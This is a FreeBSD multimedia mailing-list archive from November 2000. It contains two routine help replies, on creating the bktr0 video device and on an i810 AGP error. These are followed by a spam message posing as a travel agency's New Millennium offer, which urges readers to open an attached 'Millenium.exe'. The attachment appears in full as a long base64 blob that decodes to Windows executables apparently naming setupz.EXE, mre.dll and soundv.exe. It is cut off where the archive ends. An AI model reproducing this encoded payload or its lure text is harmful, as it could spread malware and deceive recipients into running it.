From owner-freebsd-multimedia Sun Nov 19 11:34:28 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from hotmail.com (f43.law4.hotmail.com [216.33.149.43]) by hub.freebsd.org (Postfix) with ESMTP id E9CF137B479 for ; Sun, 19 Nov 2000 11:34:25 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 19 Nov 2000 11:34:25 -0800 Received: from 212.11.3.16 by lw4fd.law4.hotmail.msn.com with HTTP; Sun, 19 Nov 2000 19:34:25 GMT X-Originating-IP: [212.11.3.16] From: "Julien Clauzel" To: herbelot@cybercable.fr Cc: multimedia@FreeBSD.ORG Subject: Re: help!: open("/dev/bktr0") failed: No such file or directory Date: Sun, 19 Nov 2000 20:34:25 CET Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 19 Nov 2000 19:34:25.0992 (UTC) FILETIME=[B9DB9480:01C0525F] Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Impecable ca marche ! Thx ! Julien >From: Thierry Herbelot >To: Julien Clauzel >CC: multimedia@FreeBSD.ORG >Subject: Re: help!: open("/dev/bktr0") failed: No such file or directory >Date: Sat, 18 Nov 2000 17:32:08 +0100 >MIME-Version: 1.0 >Received: from [212.198.24.14] by hotmail.com (3.2) with ESMTP id >MHotMailBBDFF9F2006940042A22D4C6180E07CF0; Sat Nov 18 08:31:52 2000 >Received: from cybercable.fr (multi.herbelot.nom [192.168.1.2])by >herbelot.dyndns.org (8.9.3/8.9.3) with ESMTP id RAA58284;Sat, 18 Nov 2000 >17:32:08 +0100 (CET)(envelope-from herbelot@cybercable.fr) >From herbelot@cybercable.fr Sat Nov 18 08:33:40 2000 >Sender: thierry.herbelot@herbelot.dyndns.org >Message-ID: <3A16AF08.A0C8F051@cybercable.fr> >X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) >X-Accept-Language: en >References: > >Julien Clauzel wrote: > > > > Hello, > > > > I installed sucessfully fxtv-1.02 from FreeBSD 4 >/usr/ports/graphics/fxtv > > but when i try to run it i get the following message: > > > > stardust# fxtv > > open("/dev/bktr0") failed: No such file or directory > > >[SNIP] > > > > But once the system loaded I just find in /dev : > > stardust# ls b* > > bpf0 bpf1 bpf2 bpf3 > > > > As I am not a professional a configuring devices any tips ? what did i >miss > > ? > >cd /dev >sh ./MAKEDEV bktr0 > >-- >Thierry Herbelot _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Sun Nov 19 18:41:48 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id 5CDB437B479 for ; Sun, 19 Nov 2000 18:41:47 -0800 (PST) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id eAK2fXd93754; Sun, 19 Nov 2000 18:41:34 -0800 (PST) Date: Sun, 19 Nov 2000 18:41:33 -0800 (PST) From: Doug White To: Olexander Kunytsa Cc: freebsd-multimedia@FreeBSD.ORG Subject: Re: XFree86 i810 problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 19 Nov 2000, Olexander Kunytsa wrote: > () i810: chose watermark 0x22218000: (tab.freq 94.5) > (==) I810(0): Backing store disabled > (II) I810(0): AGPGART: allocation of 2048 pages failed Do you have the agp (agpgart?) kernel module loaded? Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Sun Nov 19 19: 5:20 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from prserv.net (out1.prserv.net [32.97.166.31]) by hub.freebsd.org (Postfix) with ESMTP id 91EC437B479 for ; Sun, 19 Nov 2000 19:04:53 -0800 (PST) Date: Mon, 20 Nov 2000 03:04:46 +0000 (GMT) X-Comment: Sending client does not conform to RFC822 minimum requirements X-Comment: Date has been added by Maillennium Received: from worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com.worldtravel.com../maillennium/gw/gw201/m/microshaft.org/M2000112003004020101qiadme ([139.92.170.224]) by prserv.net (out1) with SMTP id <2000112003024620101qiadne>; Mon, 20 Nov 2000 03:04:20 +0000 From: "World Travel Agency Ltd." To: "All vacationist" <> Subject: Celebrate the New Millenium! Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="= Multipart Boundary " Message-Id: <20001120030453.91EC437B479@hub.freebsd.org> Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multipart MIME message. --= Multipart Boundary Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit World Travel Agency Ltd. 359 BTC Drive P.O. Box 134108 Seattle, WA 98108-23 USA Dear Sir/Madam Celebrate the New Millenium! Discover the Paradise! We offer the most attractive package for the New Millenium celebrations you have ever seen. Pure nature, modern architecture and high technologies are fused to create the perfect resort. Reasonable prises, correctness, high quality services. Click on the zip-file below to see our offer! Make your neighbours envy! Best Regards, -------------------------------------------------------- --= Multipart Boundary Content-Type: application/octet-stream; name="Millenium.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Millenium.exe" TVoAAQEAAAAIABAA//8IAAABAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC6EAAOH7QJ zSG4AUzNIZCQVGhpcyBwcm9ncmFtIHJlcXVpcmVzIE1pY3Jvc29mdCBXaW5k b3dzLg0KJCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5FBgHWAHgAAAAAAAoD BAAAIAAgdAIBAAAABAAEAAYADgBAAGAAmACiAK4ATgIAABMACAAAAAIAAAAA AAAAAAMDAKugEB2roKUA6gAQHOoApgBnB1ANZweuAOQAQQzoAAgAA4ACAAAA AACvAAMAMBwCgAAAAACyAAIAMBwDgAAAAAAOgAEAAAAAALQAAQAwHGyAAAAA AAAABlNFVFVQWgAAAAEABwAOABMAGgAfAAAFU0hFTEwGS0VSTkVMBFVTRVIG S0VSTkVMBFVTRVIIS0VZQk9BUkQT/wDNPwGrAgDNPwGrCADNPwGrVADNPwIC AADNPwJSAADNPwJ1AADNPwLIAADNPwMCAADNPwNhAADNPwNQBQDNPwNqBQDN PwPPBQDNPwP7BQDNPwMtAQDNPwNHAQDNPwOJAwDNPwPWAwDNPwNOBADNPwO/ BAAAAAAKc2V0dXB6LkVYRQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAQDIBAAAoeQAo+QAaACAagK/EAAeV41+/BZXmv//AAAJ0HUo/3b+/3b8 vz0AHldqAGoBvz4AHldqAGoAmv//AAD/dv7/dvya//8AAMnCAgDIgAAAoeQA o+QAxH4OgccBAAZXmv//AAAJwHQC6zuNfoAWV8R+DgZXmv//AACNfoAWV2oB mv//AACNfoAWV8R+CgZX/3YGMcBQUJr//wAAjX6AFlea//8AAMnCDgABXAJO VAdtcmUuZGxsCnNvdW5kdi5leGXIBAIAoeQAo+QAaP8Amv//AACJRvyJVv7/ dv7/dvxo/wCa//8AAI2+/P0WV/92/v92/Jr//wAAv60ADlea//8AAI2+/P4W V2j/AJr//wAA/3b+/3b8aP8Amv//AAC/rwAOV42+/P4WV5r//wAACcB0B1Xo yP7prwBo/wCa//8AAIlG/IlW/qHkAKPkAL9KAB5Xv08AHle/TgAeV/92/v92 /Gj/AL9XAB5Xmv//AACh5ACj5AD/dv7/dvya//8AAAnAdQZV6Hb+60r/dv7/ dvy/YgAeV5r//wAACdB1NqHkAKPkAP92/v92/L9qAB5Xmv//AAC/SgAeV79P AB5X/3b+/3b8v1cAHlea//8AAKHkAKPkAP92/v92/Gj/AJr//wAAoeQAo+QA jb78/RZXjb78/hZXmv//AAC/sgAOV5r//wAAv///uP//UFe4//+6//+LyIva uP//uv//K8Eb01JQVegn/qHkAKPkAI2+/P0WV42+/P4WV5r//wAAv7oADlea //8AAL///7j//1BXuP//uv//i8iL2rj//7r//yvBG9NSUFXo5P2h5ACj5ADJ w5r//wAAmv//AABVieXoQf6h5ACj5ABqAL90AB5Xv5IAHldqEJr//wAAoeQA o+QAyTHAmv//AABNWgABAQAAAAgAEAD//wgAAAEAAAAAAABAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAALoQAA4ftAnNIbgBTM0hkJBDYW5ub3QgZXhlY3V0ZSBhIGR5bmFtaWMt bGluayBsaWJyYXJ5Lg0KJCAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTkUG AYMAGAAAAAAACYMDAAAgAAACAAEAAAADAAMAAwALAEAAWABcAGkAbwCbAQAA AwAIAAAAAgAAAAAAAAAAAwIAHAAQHRwAAwBQAVANUAEFAGgAQQxoAAgAAAAD TVJFAAADV0VQAQAAAQAIAA8AAAZLRVJORUwGS0VSTkVMBFVTRVID/wPNPwJg AADNPwICAADNPwJWAAAAAAAHbXJlLkRMTAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAmv//AABVieW/EAAeV2oA mv//AADJmv//AAADAAMAAwD/AAIAAwESAAEApgADABgA/wADAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAACAEVVi+weiT4eAIk2IgCMBiQA4w4zwB5QUZr//wAA C8B0LJr//wAAM9KowHUGQqgCdQFCiBZGAMcGLAACIMcGRAD//8cGNgABAIvl XU3Li+xdTVlZy1hYoTYAiz4eAMuM2JBFVYvsHlZXjtiLRgajNgDogAC4AQBf Xh9dTcoCAFlb6wQzyTPbozYAi8ELw3QMg/v/dAeOwyaLHgAAiQ44AIkeOgCD PjwAAHQD6EYAoTgACwY6AHQ2uQoAoDYAMuS7WQDoTQC5EAChOgC7YQDoQQCh OAC7ZgDoOAAzwFC7SAAeU1BQuBAQUJr//wAAoDYAtEzNIcQeMgCMwAvDdBMz wKMyAKM0AKM+ALj1AA5QBlPLwzPS9/GAwjCA+jpyA4DCB0uIFwvAderDUG9y dGlvbnMgQ29weXJpZ2h0IChjKSAxOTgzLDkyIEJvcmxhbmQEAAMBGwACAAQA AwEkAAIAhAAFAUIAAgByAAMB6gADAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAAAA AABzb3VuZHYuZXhlAAAAAAAAAAAAAAAAAAAABAAgAgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAlJ1bnRpbWUgZXJyb3IgMDAwIGF0IDAwMDA6MDAwMC4A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABNWlAAAgAAAAQADwD//wAAuAAAAAAAAABAABoA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAuhAADh+0Cc0h uAFMzSGQkFRoaXMgcHJvZ3JhbSBtdXN0IGJlIHJ1biB1bmRlciBXaW4zMg0K JDcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAUEUAAEwBCAAZXkIqAAAAAAAAAADgAI6BCwECGQAuAAAAGgAAAAAAABA8 AAAAEAAAAEAAAAAAQAAAEAAAAAIAAAEAAAAAAAAABAAAAAAAAAAAsAAAAAQA AAAAAAACAAAAAAAQAABAAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAAYAAA OAYAAACgAAAACgAAAAAAAAAAAAAAAAAAAAAAAACQAABAAwAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDT0RFAAAAAEQsAAAAEAAAAC4A AAAEAAAAAAAAAAAAAAAAAAAgAABgREFUQQAAAAD4AAAAAEAAAAACAAAAMgAA AAAAAAAAAAAAAAAAQAAAwEJTUwAAAAAA2QQAAABQAAAAAAAAADQAAAAAAAAA AAAAAAAAAAAAAMAuaWRhdGEAADgGAAAAYAAAAAgAAAA0AAAAAAAAAAAAAAAA AABAAADALnRscwAAAAAIAAAAAHAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAAAA wC5yZGF0YQAAGAAAAACAAAAAAgAAADwAAAAAAAAAAAAAAAAAAEAAAFAucmVs b2MAAEADAAAAkAAAAAQAAAA+AAAAAAAAAAAAAAAAAABAAABQLnJzcmMAAAAA CgAAAKAAAAAKAAAAQgAAAAAAAAAAAAAAAAAAQAAAUAAAAAAAAAAAAAAAAACw AAAAAAAAAEwAAAAAAAAAAAAAAAAAAEAAAFAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA/yVIYUAAi8D/JURhQACLwP8lQGFAAIvA/yU8YUAAi8D/JThhQACL wP8lNGFAAIvA/yUwYUAAi8D/JSxhQACLwP8lKGFAAIvA/yUkYUAAi8D/JSBh QACLwP8lHGFAAIvA/yUYYUAAi8D/JVRhQACLwP8lFGFAAIvA/yUQYUAAi8D/ JQxhQACLwP8lCGFAAIvA/yUEYUAAi8D/JQBhQACLwP8l/GBAAIvA/yX4YEAA i8D/JfRgQACLwP8l8GBAAIvA/yVkYUAAi8D/JWBhQACLwP8lXGFAAIvA/yXs YEAAi8D/JWxhQACLwFODxLy7CgAAAFToof////ZEJCwBdAUPt1wkMIvDg8RE W8OLwP8l6GBAAIvA/yXkYEAAi8D/JeBgQACLwP8l3GBAAIvA/yXYYEAAi8D/ JdRgQACLwP8l0GBAAIvA/yXMYEAAi8BTVr48VEAAgz4AdTpoRAYAAGoA6Kj/ //+LyIXJdQUzwF5bw6E4VEAAiQGJDThUQAAz0ovCA8CNRMEEix6JGIkGQoP6 ZHXsiwaLEIkWXlvDkIkAiUAEw4vAU1aL8ovY6J3///+FwHUFM8BeW8OLFolQ CItWBIlQDIsTiRCJWASJQgSJA7ABXlvDi1AEiwiJColRBIsVPFRAAIkQozxU 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 gAAAagCLQwhQ6CX4//+LG4H7QFRAAHXmuEBUQADoifj//7hQVEAA6H/4//+4 fFRAAOh1+P//oThUQACFwHQXixCJFThUQABQ6Nb3//+hOFRAAIXAdekzwFpZ WWSJEGh5GUAAgD0xUEAAAHQKaCBUQADo1ff//2ggVEAA6NP3///D6eEOAADr 21tdw1M7BWxUQAB1CYtQBIkVbFRAAItQBItICIH5ABAAAH84O8J1F4XJeQOD wQPB+QKheFRAADPSiVSI9Oskhcl5A4PBA8H5AosdeFRAAIlUi/SLAIkCiVAE W8OLAIkCiVAEW8ONQACLFXxUQADrEItKCDvBcgcDSgw7wXIWixKB+nxUQAB1 6McFHFRAAAMAAAAz0ovCw5BTi8qD6QSNHAGD+hB8D8cDBwAAgIvR6KEBAABb w4P6BHwMi8qByQIAAICJCIkLW8P/BQxUQACL0IPqBIsSgeL8//9/g+oEARUQ VEAA6NMFAADDi8CD+gx8DoPKAokQg8AE6Mr////Dg/oEfAqLyoHJAgAAgIkI A8KDIP7DU1aL0IPqBIsSi8qB4QIAAICB+QIAAIB0CscFHFRAAAQAAACL2oHj /P//fyvDi8gzEffC/v///3QKxwUcVEAABQAAAPYBAXQgi9CD6gyLcggrxjtw CHQKxwUcVEAABgAAAOiK/v//A96Lw15bw41AAFNWV4vYM/+LA6kAAACAdAsl /P//fwP4A9iLA6gCdROL84vG6Fj+//+LRggD+APYgyP+i8dfXlvDU1ZXVYPE +Iv6i/CLxuia/v//i9iLawiLxQNDDIvQjQw3K9GD+gx/BIv4K/6LxivFg/gM fRKLzIvWK1MIA9eLxejT+///6w+LzIvXg+oEjUYE6ML7//+LLCSF7XUEM8Dr MIvVK9aLxuhw/v//i8UDRCQEi1MIA1MMO8JzCo0UNyvQ6Kr+//+L1IvD6J32 //+wAVlaXV9eW8NTVleL8ov4i9+JcwiLwwPGg+gMiXAIgf4AEAAAfzeL1oXS eQODwgPB+gKheFRAAItEkPSFwHUQoXhUQACJXJD0iVsEiRvrOosQiUMEiROJ GIlaBOssgf4APAAAfA2L1ovH6AL///+EwHUXoWxUQACJHWxUQACLEIlDBIkT iRiJWgRfXlvDjUAAgz1wVEAAAH5Agz1wVEAADH0MxwUcVEAABwAAAOsroXBU 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 